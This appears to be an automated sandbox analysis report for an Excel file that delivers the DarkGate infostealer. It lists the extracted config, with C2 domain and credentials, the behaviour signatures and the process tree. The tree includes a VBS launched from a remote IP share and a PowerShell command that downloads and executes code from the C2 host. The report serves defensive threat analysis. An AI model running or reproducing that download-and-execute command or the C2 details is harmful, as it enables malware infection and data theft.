Analysis
- max time kernel
147s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
03/04/2024, 16:43
General
- Target c788865f66a500b7555f78979d2874f066de21384d0fef3707785a450cd8df0e.xlsx
- Size 56KB
- Sample240403-t8egfafe81
- SHA256 c788865f66a500b7555f78979d2874f066de21384d0fef3707785a450cd8df0e
Malware Config
Extracted
-
darkgate
-
admin888
-
irreceiver.com
-
anti_analysis
true
-
anti_debug
false
-
anti_vm
true
-
c2_port
80
-
check_disk
false
-
check_ram
false
-
check_xeon
false
-
crypter_au3
false
-
crypter_dll
false
-
crypter_raw_stub
false
-
internal_mutex
zvRxAJTe
-
minimum_disk
100
-
minimum_ram
4096
-
ping_interval
6
-
rootkit
false
-
startup_persistence
true
-
username
admin888
Signatures
- DarkGate
DarkGate is an infostealer written in C++.
- Detect DarkGate stealer 2 IoCs
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 4 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 12 IoCs
- Suspicious use of WriteProcessMemory 9 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\c788865f66a500b7555f78979d2874f066de21384d0fef3707785a450cd8df0e.xlsx"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "\\86.104.72.124\prv\MS_EXCEL_ATTACHMENT_04.03.24.vbs"2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'irreceiver.com/abtjvwag')3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\unuu\AutoHotkey.exe"C:\unuu\AutoHotkey.exe" C:/unuu/script.ahk4⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h C:/unuu/4⤵
- Views/modifies file attributes
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_hiniwtk0.t4c.ps1
AutoHotkey.exe
script.ahk
test.txt
memory/1456-16-0x00007FF9AE7D0000-0x00007FF9AE7E0000-memory.dmp
memory/1456-17-0x00007FF9F0A10000-0x00007FF9F0C05000-memory.dmp
memory/1456-5-0x00007FF9B0A90000-0x00007FF9B0AA0000-memory.dmp
memory/1456-7-0x00007FF9F0A10000-0x00007FF9F0C05000-memory.dmp
memory/1456-8-0x00007FF9F0A10000-0x00007FF9F0C05000-memory.dmp
memory/1456-9-0x00007FF9F0A10000-0x00007FF9F0C05000-memory.dmp
memory/1456-12-0x00007FF9AE7D0000-0x00007FF9AE7E0000-memory.dmp
memory/1456-10-0x00007FF9F0A10000-0x00007FF9F0C05000-memory.dmp
memory/1456-11-0x00007FF9F0A10000-0x00007FF9F0C05000-memory.dmp
memory/1456-13-0x00007FF9F0A10000-0x00007FF9F0C05000-memory.dmp
memory/1456-14-0x00007FF9F0A10000-0x00007FF9F0C05000-memory.dmp
memory/1456-15-0x00007FF9F0A10000-0x00007FF9F0C05000-memory.dmp
memory/1456-0-0x00007FF9B0A90000-0x00007FF9B0AA0000-memory.dmp
memory/1456-18-0x00007FF9F0A10000-0x00007FF9F0C05000-memory.dmp
memory/1456-19-0x00007FF9F0A10000-0x00007FF9F0C05000-memory.dmp
memory/1456-6-0x00007FF9B0A90000-0x00007FF9B0AA0000-memory.dmp
memory/1456-4-0x00007FF9F0A10000-0x00007FF9F0C05000-memory.dmp
memory/1456-1-0x00007FF9F0A10000-0x00007FF9F0C05000-memory.dmp
memory/1456-3-0x00007FF9B0A90000-0x00007FF9B0AA0000-memory.dmp
memory/1456-66-0x00007FF9F0A10000-0x00007FF9F0C05000-memory.dmp
memory/1456-62-0x00007FF9F0A10000-0x00007FF9F0C05000-memory.dmp
memory/1456-2-0x00007FF9B0A90000-0x00007FF9B0AA0000-memory.dmp
memory/1456-51-0x00007FF9F0A10000-0x00007FF9F0C05000-memory.dmp
memory/2128-43-0x000001DD71CF0000-0x000001DD71EB2000-memory.dmp
memory/2128-41-0x000001DD71570000-0x000001DD71580000-memory.dmp
memory/2128-65-0x00007FF9C76F0000-0x00007FF9C81B1000-memory.dmp
memory/2128-42-0x000001DD71570000-0x000001DD71580000-memory.dmp
memory/2128-40-0x00007FF9C76F0000-0x00007FF9C81B1000-memory.dmp
memory/2128-39-0x000001DD71720000-0x000001DD71742000-memory.dmp
memory/2708-69-0x0000000004AD0000-0x0000000004B44000-memory.dmp
memory/2708-71-0x0000000004AD0000-0x0000000004B44000-memory.dmp